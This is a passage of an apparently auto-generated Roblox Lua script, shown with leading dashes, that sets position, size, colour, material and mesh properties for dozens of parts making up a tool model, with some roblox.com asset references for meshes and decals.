- Part111.CFrame = CFrame.new(26.9494629, 1.03320301, 138.887573, -0.999949455, 6.38106201e-07, -0.00939075649, -8.80158211e-07, -0.999994636, 3.69093527e-07, -0.00939118862, 3.90005596e-07, 0.999947309)
- Part111.BottomSurface = Enum.SurfaceType.Smooth
- Part111.TopSurface = Enum.SurfaceType.Smooth
- Part111.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part111.Position = Vector3.new(26.9494629, 1.03320301, 138.887573)
- Part111.Orientation = Vector3.new(0, -0.539999962, -180)
- Part111.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh112.Parent = Part111
- CylinderMesh112.Offset = Vector3.new(-0.0299999993, 0, 0)
- CylinderMesh112.Scale = Vector3.new(0.225000009, 1.5, 0.225000009)
- CylinderMesh112.Scale = Vector3.new(0.225000009, 1.5, 0.225000009)
- Part113.Parent = Tool0
- Part113.Material = Enum.Material.SmoothPlastic
- Part113.BrickColor = BrickColor.new("Black")
- Part113.Reflectance = 0.050000000745058
- Part113.Rotation = Vector3.new(0, -0.539999962, 90)
- Part113.Anchored = true
- Part113.FormFactor = Enum.FormFactor.Custom
- Part113.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part113.CFrame = CFrame.new(27.1765137, 1.39330995, 138.985901, 8.71412595e-08, -0.999955893, -0.00939127803, 0.999999881, 8.74227624e-08, -2.9562246e-08, 3.03819299e-08, -0.00939150155, 0.999955535)
- Part113.BottomSurface = Enum.SurfaceType.Smooth
- Part113.TopSurface = Enum.SurfaceType.Smooth
- Part113.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part113.Position = Vector3.new(27.1765137, 1.39330995, 138.985901)
- Part113.Orientation = Vector3.new(0, -0.539999962, 90)
- Part113.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh114.Parent = Part113
- BlockMesh114.Offset = Vector3.new(-0.0299999993, 0, 0)
- BlockMesh114.Scale = Vector3.new(0.450000018, 0.149999961, 0.900000036)
- BlockMesh114.Scale = Vector3.new(0.450000018, 0.149999961, 0.900000036)
- Part115.Parent = Tool0
- Part115.Material = Enum.Material.SmoothPlastic
- Part115.BrickColor = BrickColor.new("Black")
- Part115.Reflectance = 0.050000000745058
- Part115.Rotation = Vector3.new(0, -0.539999962, 90)
- Part115.Anchored = true
- Part115.FormFactor = Enum.FormFactor.Custom
- Part115.Size = Vector3.new(0.347999901, 0.200000003, 0.200000003)
- Part115.CFrame = CFrame.new(27.2078857, 1.00610304, 138.851563, 8.71412595e-08, -0.999955893, -0.00939127803, 0.999999881, 8.74227624e-08, -2.9562246e-08, 3.03819299e-08, -0.00939150155, 0.999955535)
- Part115.BottomSurface = Enum.SurfaceType.Smooth
- Part115.TopSurface = Enum.SurfaceType.Smooth
- Part115.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part115.Position = Vector3.new(27.2078857, 1.00610304, 138.851563)
- Part115.Orientation = Vector3.new(0, -0.539999962, 90)
- Part115.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh116.Parent = Part115
- BlockMesh116.Offset = Vector3.new(0, 0.0149999997, 0)
- BlockMesh116.Scale = Vector3.new(1, 0.0299999993, 0.450000018)
- BlockMesh116.Scale = Vector3.new(1, 0.0299999993, 0.450000018)
- Part117.Parent = Tool0
- Part117.Material = Enum.Material.SmoothPlastic
- Part117.BrickColor = BrickColor.new("Black")
- Part117.Reflectance = 0.050000000745058
- Part117.Rotation = Vector3.new(-0.00999999978, 89.4199982, 0)
- Part117.Anchored = true
- Part117.FormFactor = Enum.FormFactor.Custom
- Part117.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part117.CFrame = CFrame.new(26.9803467, 1.00317395, 138.831116, 0.00939099491, -5.48562753e-07, 0.999948323, -3.83994234e-07, 0.99999392, 8.20552998e-07, -0.999946356, -4.04066043e-07, 0.00939123333)
- Part117.BottomSurface = Enum.SurfaceType.Smooth
- Part117.TopSurface = Enum.SurfaceType.Smooth
- Part117.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part117.Position = Vector3.new(26.9803467, 1.00317395, 138.831116)
- Part117.Orientation = Vector3.new(0, 89.4599991, 0)
- Part117.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh118.Parent = Part117
- SpecialMesh118.MeshId = "http://www.roblox.com/asset/?id=12221344"
- SpecialMesh118.Scale = Vector3.new(0.119999997, 0.180000007, 0.00300000003)
- SpecialMesh118.MeshType = Enum.MeshType.FileMesh
- SpecialMesh118.Scale = Vector3.new(0.119999997, 0.180000007, 0.00300000003)
- Part119.Parent = Tool0
- Part119.Material = Enum.Material.SmoothPlastic
- Part119.BrickColor = BrickColor.new("Black")
- Part119.Reflectance = 0.050000000745058
- Part119.Rotation = Vector3.new(180, 0.539999962, -180)
- Part119.Anchored = true
- Part119.FormFactor = Enum.FormFactor.Custom
- Part119.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part119.CFrame = CFrame.new(27.0974121, 1.13525403, 138.157227, -0.999955833, 7.51575016e-08, 0.00939106941, 7.35136609e-08, 0.999999523, -1.7538153e-07, -0.00939126313, -1.74683436e-07, -0.999955058)
- Part119.BottomSurface = Enum.SurfaceType.Smooth
- Part119.TopSurface = Enum.SurfaceType.Smooth
- Part119.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part119.Position = Vector3.new(27.0974121, 1.13525403, 138.157227)
- Part119.Orientation = Vector3.new(0, 179.459991, 0)
- Part119.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh120.Parent = Part119
- BlockMesh120.Offset = Vector3.new(0.00150000001, 0.0164999999, -0.0164999999)
- BlockMesh120.Scale = Vector3.new(1.01999998, 0.652500093, 1.08000004)
- BlockMesh120.Scale = Vector3.new(1.01999998, 0.652500093, 1.08000004)
- Part121.Parent = Tool0
- Part121.Material = Enum.Material.SmoothPlastic
- Part121.BrickColor = BrickColor.new("Black")
- Part121.Reflectance = 0.20000000298023
- Part121.Rotation = Vector3.new(-90, 0, 179.459991)
- Part121.Anchored = true
- Part121.FormFactor = Enum.FormFactor.Custom
- Part121.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part121.CFrame = CFrame.new(27.2125244, 1.10522497, 138.347412, -0.999955535, -0.00939102471, 9.95769938e-08, 9.56952277e-08, 4.13800024e-07, 0.999999464, -0.00939133763, 0.999954998, -4.12883026e-07)
- Part121.BottomSurface = Enum.SurfaceType.Smooth
- Part121.TopSurface = Enum.SurfaceType.Smooth
- Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part121.Position = Vector3.new(27.2125244, 1.10522497, 138.347412)
- Part121.Orientation = Vector3.new(-89.9399948, 166.440002, 13.0199995)
- Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh122.Parent = Part121
- BlockMesh122.Offset = Vector3.new(0.0149999997, 0, 0)
- BlockMesh122.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
- BlockMesh122.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
- Part123.Parent = Tool0
- Part123.Material = Enum.Material.SmoothPlastic
- Part123.BrickColor = BrickColor.new("Black")
- Part123.Reflectance = 0.050000000745058
- Part123.Rotation = Vector3.new(180, 0.539999962, -180)
- Part123.Anchored = true
- Part123.FormFactor = Enum.FormFactor.Custom
- Part123.Size = Vector3.new(0.209999993, 0.300000012, 0.959999979)
- Part123.CFrame = CFrame.new(27.0889893, 1.06616199, 138.732971, -0.999955833, 7.51575016e-08, 0.00939102471, 7.35136609e-08, 0.999999583, -1.75381558e-07, -0.00939126313, -1.74683436e-07, -0.999954998)
- Part123.BottomSurface = Enum.SurfaceType.Smooth
- Part123.TopSurface = Enum.SurfaceType.Smooth
- Part123.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part123.Position = Vector3.new(27.0889893, 1.06616199, 138.732971)
- Part123.Orientation = Vector3.new(0, 179.459991, 0)
- Part123.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh124.Parent = Part123
- BlockMesh124.Scale = Vector3.new(1, 1, 0.950000048)
- BlockMesh124.Scale = Vector3.new(1, 1, 0.950000048)
- Part125.Parent = Tool0
- Part125.Material = Enum.Material.SmoothPlastic
- Part125.BrickColor = BrickColor.new("Black")
- Part125.Reflectance = 0.050000000745058
- Part125.Rotation = Vector3.new(180, 0.539999962, 105)
- Part125.Anchored = true
- Part125.FormFactor = Enum.FormFactor.Custom
- Part125.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part125.CFrame = CFrame.new(26.9566669, 1.35107398, 138.758911, -0.258817226, -0.965878427, 0.00939102471, -0.965921342, 0.258828729, -1.3166985e-07, -0.00243057683, -0.00907120109, -0.999952912)
- Part125.BottomSurface = Enum.SurfaceType.Smooth
- Part125.TopSurface = Enum.SurfaceType.Smooth
- Part125.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part125.Position = Vector3.new(26.9566669, 1.35107398, 138.758911)
- Part125.Orientation = Vector3.new(0, 179.459991, -75)
- Part125.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh126.Parent = Part125
- SpecialMesh126.Scale = Vector3.new(0.599999964, 0.599999964, 0.599999964)
- SpecialMesh126.MeshType = Enum.MeshType.Torso
- SpecialMesh126.Scale = Vector3.new(0.599999964, 0.599999964, 0.599999964)
- Part127.Parent = Tool0
- Part127.Material = Enum.Material.SmoothPlastic
- Part127.BrickColor = BrickColor.new("Black")
- Part127.Reflectance = 0.050000000745058
- Part127.Rotation = Vector3.new(-180, 0.539999962, 180)
- Part127.Anchored = true
- Part127.FormFactor = Enum.FormFactor.Custom
- Part127.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part127.CFrame = CFrame.new(27.1043701, 1.23608398, 138.085327, -0.999955833, -4.52194536e-06, 0.00939102471, -4.46485592e-06, 0.999999583, 6.10001689e-06, -0.00939126313, 6.05781406e-06, -0.999954998)
- Part127.BottomSurface = Enum.SurfaceType.Smooth
- Part127.TopSurface = Enum.SurfaceType.Smooth
- Part127.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part127.Position = Vector3.new(27.1043701, 1.23608398, 138.085327)
- Part127.Orientation = Vector3.new(0, 179.459991, 0)
- Part127.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh128.Parent = Part127
- SpecialMesh128.MeshId = "http://www.roblox.com/asset/?id=12221344"
- SpecialMesh128.Scale = Vector3.new(0.479999989, 0.629999995, 0.0149999997)
- SpecialMesh128.MeshType = Enum.MeshType.FileMesh
- SpecialMesh128.Scale = Vector3.new(0.479999989, 0.629999995, 0.0149999997)
- Part129.Parent = Tool0
- Part129.Material = Enum.Material.SmoothPlastic
- Part129.BrickColor = BrickColor.new("Black")
- Part129.Reflectance = 0.050000000745058
- Part129.Rotation = Vector3.new(-90, 0, 179.459991)
- Part129.Anchored = true
- Part129.FormFactor = Enum.FormFactor.Custom
- Part129.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part129.CFrame = CFrame.new(27.0843506, 1.10229504, 139.216187, -0.999955714, -0.0093909651, -2.52597529e-05, -2.52627906e-05, 2.05183838e-07, 0.999999583, -0.00939120352, 0.999954998, -4.42417331e-07)
- Part129.BottomSurface = Enum.SurfaceType.Smooth
- Part129.TopSurface = Enum.SurfaceType.Smooth
- Part129.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part129.Position = Vector3.new(27.0843506, 1.10229504, 139.216187)
- Part129.Orientation = Vector3.new(-89.9499969, -91, -89.5299988)
- Part129.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh130.Parent = Part129
- SpecialMesh130.Scale = Vector3.new(1, 0.360000014, 0.299999982)
- SpecialMesh130.MeshType = Enum.MeshType.Wedge
- SpecialMesh130.Scale = Vector3.new(1, 0.360000014, 0.299999982)
- Part131.Parent = Tool0
- Part131.Material = Enum.Material.SmoothPlastic
- Part131.BrickColor = BrickColor.new("Black")
- Part131.Reflectance = 0.050000000745058
- Part131.Rotation = Vector3.new(-180, -89.4599991, -90)
- Part131.Anchored = true
- Part131.FormFactor = Enum.FormFactor.Custom
- Part131.Size = Vector3.new(0.209999993, 0.200000003, 0.209999993)
- Part131.CFrame = CFrame.new(27.1380615, 1.27026403, 138.172791, 7.51575016e-08, 0.00939102471, -0.999955833, 0.999999583, -1.75381558e-07, 7.35136609e-08, -1.74683436e-07, -0.999954998, -0.00939126313)
- Part131.BottomSurface = Enum.SurfaceType.Smooth
- Part131.TopSurface = Enum.SurfaceType.Smooth
- Part131.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part131.Position = Vector3.new(27.1380615, 1.27026403, 138.172791)
- Part131.Orientation = Vector3.new(0, -90.5400009, 90)
- Part131.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh132.Parent = Part131
- CylinderMesh132.Scale = Vector3.new(1.1500001, 0.75, 1.04999995)
- CylinderMesh132.Scale = Vector3.new(1.1500001, 0.75, 1.04999995)
- Part133.Parent = Tool0
- Part133.Material = Enum.Material.SmoothPlastic
- Part133.BrickColor = BrickColor.new("Black")
- Part133.Reflectance = 0.050000000745058
- Part133.Rotation = Vector3.new(90, 0, -179.459991)
- Part133.Anchored = true
- Part133.FormFactor = Enum.FormFactor.Custom
- Part133.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part133.CFrame = CFrame.new(27.0895996, 0.834227979, 138.712296, -0.999955833, 0.00939102471, -7.48776188e-08, 7.35136609e-08, -1.45579236e-07, -0.999999583, -0.00939126313, -0.999954998, 1.44882463e-07)
- Part133.BottomSurface = Enum.SurfaceType.Smooth
- Part133.TopSurface = Enum.SurfaceType.Smooth
- Part133.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part133.Position = Vector3.new(27.0895996, 0.834227979, 138.712296)
- Part133.Orientation = Vector3.new(89.9499969, -27.3299999, 153.209991)
- Part133.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh134.Parent = Part133
- SpecialMesh134.Scale = Vector3.new(1, 0.180000007, 0.149999991)
- SpecialMesh134.MeshType = Enum.MeshType.Wedge
- SpecialMesh134.Scale = Vector3.new(1, 0.180000007, 0.149999991)
- Part135.Parent = Tool0
- Part135.Material = Enum.Material.SmoothPlastic
- Part135.BrickColor = BrickColor.new("Black")
- Part135.Reflectance = 0.050000000745058
- Part135.Rotation = Vector3.new(0, -0.539999962, 180)
- Part135.Anchored = true
- Part135.FormFactor = Enum.FormFactor.Custom
- Part135.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part135.CFrame = CFrame.new(27.0936279, 1.05126905, 138.235168, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
- Part135.BottomSurface = Enum.SurfaceType.Smooth
- Part135.TopSurface = Enum.SurfaceType.Smooth
- Part135.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part135.Position = Vector3.new(27.0936279, 1.05126905, 138.235168)
- Part135.Orientation = Vector3.new(0, -0.539999962, 180)
- Part135.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh136.Parent = Part135
- SpecialMesh136.Scale = Vector3.new(1, 0.149999991, 0.149999991)
- SpecialMesh136.MeshType = Enum.MeshType.Wedge
- SpecialMesh136.Scale = Vector3.new(1, 0.149999991, 0.149999991)
- Part137.Parent = Tool0
- Part137.Material = Enum.Material.SmoothPlastic
- Part137.BrickColor = BrickColor.new("Brick yellow")
- Part137.Reflectance = 0.050000000745058
- Part137.Rotation = Vector3.new(-61.3099976, -0.25999999, 179.529999)
- Part137.Anchored = true
- Part137.FormFactor = Enum.FormFactor.Custom
- Part137.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part137.CFrame = CFrame.new(27.0914307, 0.69116199, 138.467163, -0.999955833, -0.00823810697, -0.00450787693, 7.35136609e-08, -0.480031699, 0.877250612, -0.00939126313, 0.877211511, 0.480010271)
- Part137.BottomSurface = Enum.SurfaceType.Smooth
- Part137.TopSurface = Enum.SurfaceType.Smooth
- Part137.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part137.Position = Vector3.new(27.0914307, 0.69116199, 138.467163)
- Part137.Orientation = Vector3.new(-61.3099976, -0.539999962, 180)
- Part137.Color = Color3.new(0.843137, 0.772549, 0.603922)
- SpecialMesh138.Parent = Part137
- SpecialMesh138.Scale = Vector3.new(1, 0.180000007, 0.112500004)
- SpecialMesh138.MeshType = Enum.MeshType.Wedge
- SpecialMesh138.Scale = Vector3.new(1, 0.180000007, 0.112500004)
- Part139.Parent = Tool0
- Part139.Material = Enum.Material.SmoothPlastic
- Part139.BrickColor = BrickColor.new("Black")
- Part139.Reflectance = 0.050000000745058
- Part139.Rotation = Vector3.new(90.1100006, -12, 90.5499954)
- Part139.Anchored = true
- Part139.FormFactor = Enum.FormFactor.Custom
- Part139.Size = Vector3.new(0.330000013, 0.200000003, 0.200000003)
- Part139.CFrame = CFrame.new(26.9669189, 1.213135, 138.983887, -0.00939138234, -0.978104293, -0.207902461, 1.14688889e-08, 0.207911626, -0.978147209, 0.999955058, -0.00918611884, -0.00195264444)
- Part139.BottomSurface = Enum.SurfaceType.Smooth
- Part139.TopSurface = Enum.SurfaceType.Smooth
- Part139.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part139.Position = Vector3.new(26.9669189, 1.213135, 138.983887)
- Part139.Orientation = Vector3.new(78, -90.5400009, 0)
- Part139.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Decal140.Parent = Part139
- Decal140.Texture = "http://www.roblox.com/asset/?id=65628034"
- Decal140.Face = Enum.NormalId.Bottom
- BlockMesh141.Parent = Part139
- BlockMesh141.Scale = Vector3.new(1, 0.149999991, 0.599999964)
- BlockMesh141.Scale = Vector3.new(1, 0.149999991, 0.599999964)
- Part142.Parent = Tool0
- Part142.Material = Enum.Material.SmoothPlastic
- Part142.BrickColor = BrickColor.new("Brick yellow")
- Part142.Reflectance = 0.050000000745058
- Part142.Rotation = Vector3.new(-151.309998, 0.469999999, 179.73999)
- Part142.Anchored = true
- Part142.FormFactor = Enum.FormFactor.Custom
- Part142.Size = Vector3.new(0.209999993, 0.468000025, 0.239999995)
- Part142.CFrame = CFrame.new(27.0928955, 0.732177973, 138.332642, -0.999955833, -0.00450787693, 0.00823824108, 7.35136609e-08, 0.877250671, 0.480031699, -0.00939126313, 0.480010271, -0.87721169)
- Part142.BottomSurface = Enum.SurfaceType.Smooth
- Part142.TopSurface = Enum.SurfaceType.Smooth
- Part142.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part142.Position = Vector3.new(27.0928955, 0.732177973, 138.332642)
- Part142.Orientation = Vector3.new(-28.6899986, 179.459991, 0)
- Part142.Color = Color3.new(0.843137, 0.772549, 0.603922)
- BlockMesh143.Parent = Part142
- BlockMesh143.Offset = Vector3.new(0, -0.0419999994, 0)
- BlockMesh143.Scale = Vector3.new(1, 0.824999928, 1)
- BlockMesh143.Scale = Vector3.new(1, 0.824999928, 1)
- Part144.Parent = Tool0
- Part144.Material = Enum.Material.SmoothPlastic
- Part144.BrickColor = BrickColor.new("Black")
- Part144.Reflectance = 0.050000000745058
- Part144.Rotation = Vector3.new(90, 0, 165.539993)
- Part144.Anchored = true
- Part144.FormFactor = Enum.FormFactor.Custom
- Part144.Size = Vector3.new(0.200000003, 0.449999988, 0.200000003)
- Part144.CFrame = CFrame.new(26.9614258, 1.28222597, 138.385986, -0.968313754, -0.249736801, -7.44484936e-08, 9.68605463e-08, -7.74534854e-08, -0.999999583, 0.249736413, -0.968312979, 9.9188938e-08)
- Part144.BottomSurface = Enum.SurfaceType.Smooth
- Part144.TopSurface = Enum.SurfaceType.Smooth
- Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part144.Position = Vector3.new(26.9614258, 1.28222597, 138.385986)
- Part144.Orientation = Vector3.new(89.9499969, -36.8899994, 128.649994)
- Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh145.Parent = Part144
- CylinderMesh145.Scale = Vector3.new(0.450000018, 1, 0.450000018)
- CylinderMesh145.Scale = Vector3.new(0.450000018, 1, 0.450000018)
- Part146.Parent = Tool0
- Part146.Material = Enum.Material.SmoothPlastic
- Part146.BrickColor = BrickColor.new("Black")
- Part146.Reflectance = 0.050000000745058
- Part146.Rotation = Vector3.new(0, -0.539999962, 180)
- Part146.Anchored = true
- Part146.FormFactor = Enum.FormFactor.Custom
- Part146.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part146.CFrame = CFrame.new(27.0931396, 1.06030297, 138.265137, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
- Part146.BottomSurface = Enum.SurfaceType.Smooth
- Part146.TopSurface = Enum.SurfaceType.Smooth
- Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part146.Position = Vector3.new(27.0931396, 1.06030297, 138.265137)
- Part146.Orientation = Vector3.new(0, -0.539999962, 180)
- Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh147.Parent = Part146
- BlockMesh147.Scale = Vector3.new(1, 0.299999982, 0.149999991)
- BlockMesh147.Scale = Vector3.new(1, 0.299999982, 0.149999991)
- Part148.Parent = Tool0
- Part148.Material = Enum.Material.SmoothPlastic
- Part148.BrickColor = BrickColor.new("Black")
- Part148.Reflectance = 0.050000000745058
- Part148.Rotation = Vector3.new(90, 0, 0.539999962)
- Part148.Anchored = true
- Part148.FormFactor = Enum.FormFactor.Custom
- Part148.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part148.CFrame = CFrame.new(27.0906982, 0.835205019, 138.562073, 0.999955833, -0.00939106941, -7.51575016e-08, -7.35136609e-08, 1.7538153e-07, -0.999999523, 0.00939126313, 0.999955058, 1.74683436e-07)
- Part148.BottomSurface = Enum.SurfaceType.Smooth
- Part148.TopSurface = Enum.SurfaceType.Smooth
- Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part148.Position = Vector3.new(27.0906982, 0.835205019, 138.562073)
- Part148.Orientation = Vector3.new(89.9399948, -23.2799988, -22.7399998)
- Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh149.Parent = Part148
- SpecialMesh149.Scale = Vector3.new(1, 0.180000007, 0.149999991)
- SpecialMesh149.MeshType = Enum.MeshType.Wedge
- SpecialMesh149.Scale = Vector3.new(1, 0.180000007, 0.149999991)
- Part150.Parent = Tool0
- Part150.Material = Enum.Material.SmoothPlastic
- Part150.BrickColor = BrickColor.new("Dark stone grey")
- Part150.Reflectance = 0.050000000745058
- Part150.Rotation = Vector3.new(180, 75.5400009, 90)
- Part150.Anchored = true
- Part150.FormFactor = Enum.FormFactor.Custom
- Part150.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part150.CFrame = CFrame.new(26.8951416, 1.28222597, 138.124695, -6.36223589e-08, -0.24973698, 0.968313515, -0.999999583, -1.30446693e-07, -9.93476377e-08, 1.5112407e-07, -0.968312979, -0.249736756)
- Part150.BottomSurface = Enum.SurfaceType.Smooth
- Part150.TopSurface = Enum.SurfaceType.Smooth
- Part150.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part150.Position = Vector3.new(26.8951416, 1.28222597, 138.124695)
- Part150.Orientation = Vector3.new(0, 104.459999, -90)
- Part150.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh151.Parent = Part150
- CylinderMesh151.Scale = Vector3.new(0.450000018, 0.149999991, 0.450000018)
- CylinderMesh151.Scale = Vector3.new(0.450000018, 0.149999991, 0.450000018)
- Part152.Parent = Tool0
- Part152.Material = Enum.Material.SmoothPlastic
- Part152.BrickColor = BrickColor.new("Brick yellow")
- Part152.Reflectance = 0.050000000745058
- Part152.Rotation = Vector3.new(118.689995, 0.25999999, 0.469999999)
- Part152.Anchored = true
- Part152.FormFactor = Enum.FormFactor.Custom
- Part152.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part152.CFrame = CFrame.new(27.0914307, 0.711181998, 138.478333, 0.999955833, -0.00823810697, 0.00450787693, -7.35136609e-08, -0.480031669, -0.877250552, 0.00939126313, 0.877211511, -0.480010271)
- Part152.BottomSurface = Enum.SurfaceType.Smooth
- Part152.TopSurface = Enum.SurfaceType.Smooth
- Part152.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part152.Position = Vector3.new(27.0914307, 0.711181998, 138.478333)
- Part152.Orientation = Vector3.new(61.3099976, 179.459991, -180)
- Part152.Color = Color3.new(0.843137, 0.772549, 0.603922)
- SpecialMesh153.Parent = Part152
- SpecialMesh153.Scale = Vector3.new(1, 0.180000007, 0.112500004)
- SpecialMesh153.MeshType = Enum.MeshType.Wedge
- SpecialMesh153.Scale = Vector3.new(1, 0.180000007, 0.112500004)
- Part154.Parent = Tool0
- Part154.Material = Enum.Material.SmoothPlastic
- Part154.BrickColor = BrickColor.new("Brick yellow")
- Part154.Reflectance = 0.050000000745058
- Part154.Rotation = Vector3.new(180, 0.539999962, -180)
- Part154.Anchored = true
- Part154.FormFactor = Enum.FormFactor.Custom
- Part154.Size = Vector3.new(0.209999993, 0.200000003, 0.270000011)
- Part154.CFrame = CFrame.new(27.0947266, 0.877197027, 138.41217, -0.999955833, 7.65568586e-08, 0.00939106941, 7.35136609e-08, 0.999999523, -3.24393056e-07, -0.00939126313, -3.2368834e-07, -0.999955058)
- Part154.BottomSurface = Enum.SurfaceType.Smooth
- Part154.TopSurface = Enum.SurfaceType.Smooth
- Part154.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part154.Position = Vector3.new(27.0947266, 0.877197027, 138.41217)
- Part154.Orientation = Vector3.new(0, 179.459991, 0)
- Part154.Color = Color3.new(0.843137, 0.772549, 0.603922)
- BlockMesh155.Parent = Part154
- BlockMesh155.Offset = Vector3.new(0.00300000003, -0.01425, 0)
- BlockMesh155.Scale = Vector3.new(1.00999999, 0.583200037, 1.00999999)
- BlockMesh155.Scale = Vector3.new(1.00999999, 0.583200037, 1.00999999)
- Part156.Parent = Tool0
- Part156.Material = Enum.Material.SmoothPlastic
- Part156.BrickColor = BrickColor.new("Dark stone grey")
- Part156.Reflectance = 0.050000000745058
- Part156.Transparency = 1
- Part156.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part156.Anchored = true
- Part156.FormFactor = Enum.FormFactor.Custom
- Part156.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part156.CFrame = CFrame.new(27.09375, 1.414307, 138.217346, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
- Part156.BottomSurface = Enum.SurfaceType.Smooth
- Part156.TopSurface = Enum.SurfaceType.Smooth
- Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part156.Position = Vector3.new(27.09375, 1.414307, 138.217346)
- Part156.Orientation = Vector3.new(0, 179.459991, 0)
- Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh157.Parent = Part156
- BlockMesh157.Scale = Vector3.new(0.75, 0.360000014, 0.599999964)
- BlockMesh157.Scale = Vector3.new(0.75, 0.360000014, 0.599999964)
- Part158.Parent = Tool0
- Part158.Material = Enum.Material.SmoothPlastic
- Part158.BrickColor = BrickColor.new("Black")
- Part158.Reflectance = 0.050000000745058
- Part158.Rotation = Vector3.new(-180, -89.4599991, -90)
- Part158.Anchored = true
- Part158.FormFactor = Enum.FormFactor.Custom
- Part158.Size = Vector3.new(0.209999993, 0.330000013, 0.209999993)
- Part158.CFrame = CFrame.new(27.0986328, 1.27026403, 138.982239, 7.63110108e-08, 0.00939127803, -0.999955833, 0.999999702, -2.19092968e-07, 7.42566968e-08, -2.18385907e-07, -0.999955297, -0.00939120352)
- Part158.BottomSurface = Enum.SurfaceType.Smooth
- Part158.TopSurface = Enum.SurfaceType.Smooth
- Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part158.Position = Vector3.new(27.0986328, 1.27026403, 138.982239)
- Part158.Orientation = Vector3.new(0, -90.5400009, 90)
- Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh159.Parent = Part158
- CylinderMesh159.Offset = Vector3.new(0.00300000003, -0.00300000003, 0.00150000001)
- CylinderMesh159.Scale = Vector3.new(1.10000002, 1, 1)
- CylinderMesh159.Scale = Vector3.new(1.10000002, 1, 1)
- Part160.Parent = Tool0
- Part160.Material = Enum.Material.SmoothPlastic
- Part160.BrickColor = BrickColor.new("Black")
- Part160.Rotation = Vector3.new(149.98999, 0.469999999, 0.269999981)
- Part160.Anchored = true
- Part160.FormFactor = Enum.FormFactor.Custom
- Part160.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part160.CFrame = CFrame.new(27.0817871, 0.855225027, 139.47522, 0.999955893, -0.00469633937, 0.00813275576, -4.37112533e-08, -0.86598748, -0.500062525, 0.00939150155, 0.500040412, -0.865949214)
- Part160.BottomSurface = Enum.SurfaceType.Smooth
- Part160.TopSurface = Enum.SurfaceType.Smooth
- Part160.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part160.Position = Vector3.new(27.0817871, 0.855225027, 139.47522)
- Part160.Orientation = Vector3.new(30, 179.459991, -180)
- Part160.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh161.Parent = Part160
- BlockMesh161.Scale = Vector3.new(0.450000018, 0.180000007, 0.0300000049)
- BlockMesh161.Scale = Vector3.new(0.450000018, 0.180000007, 0.0300000049)
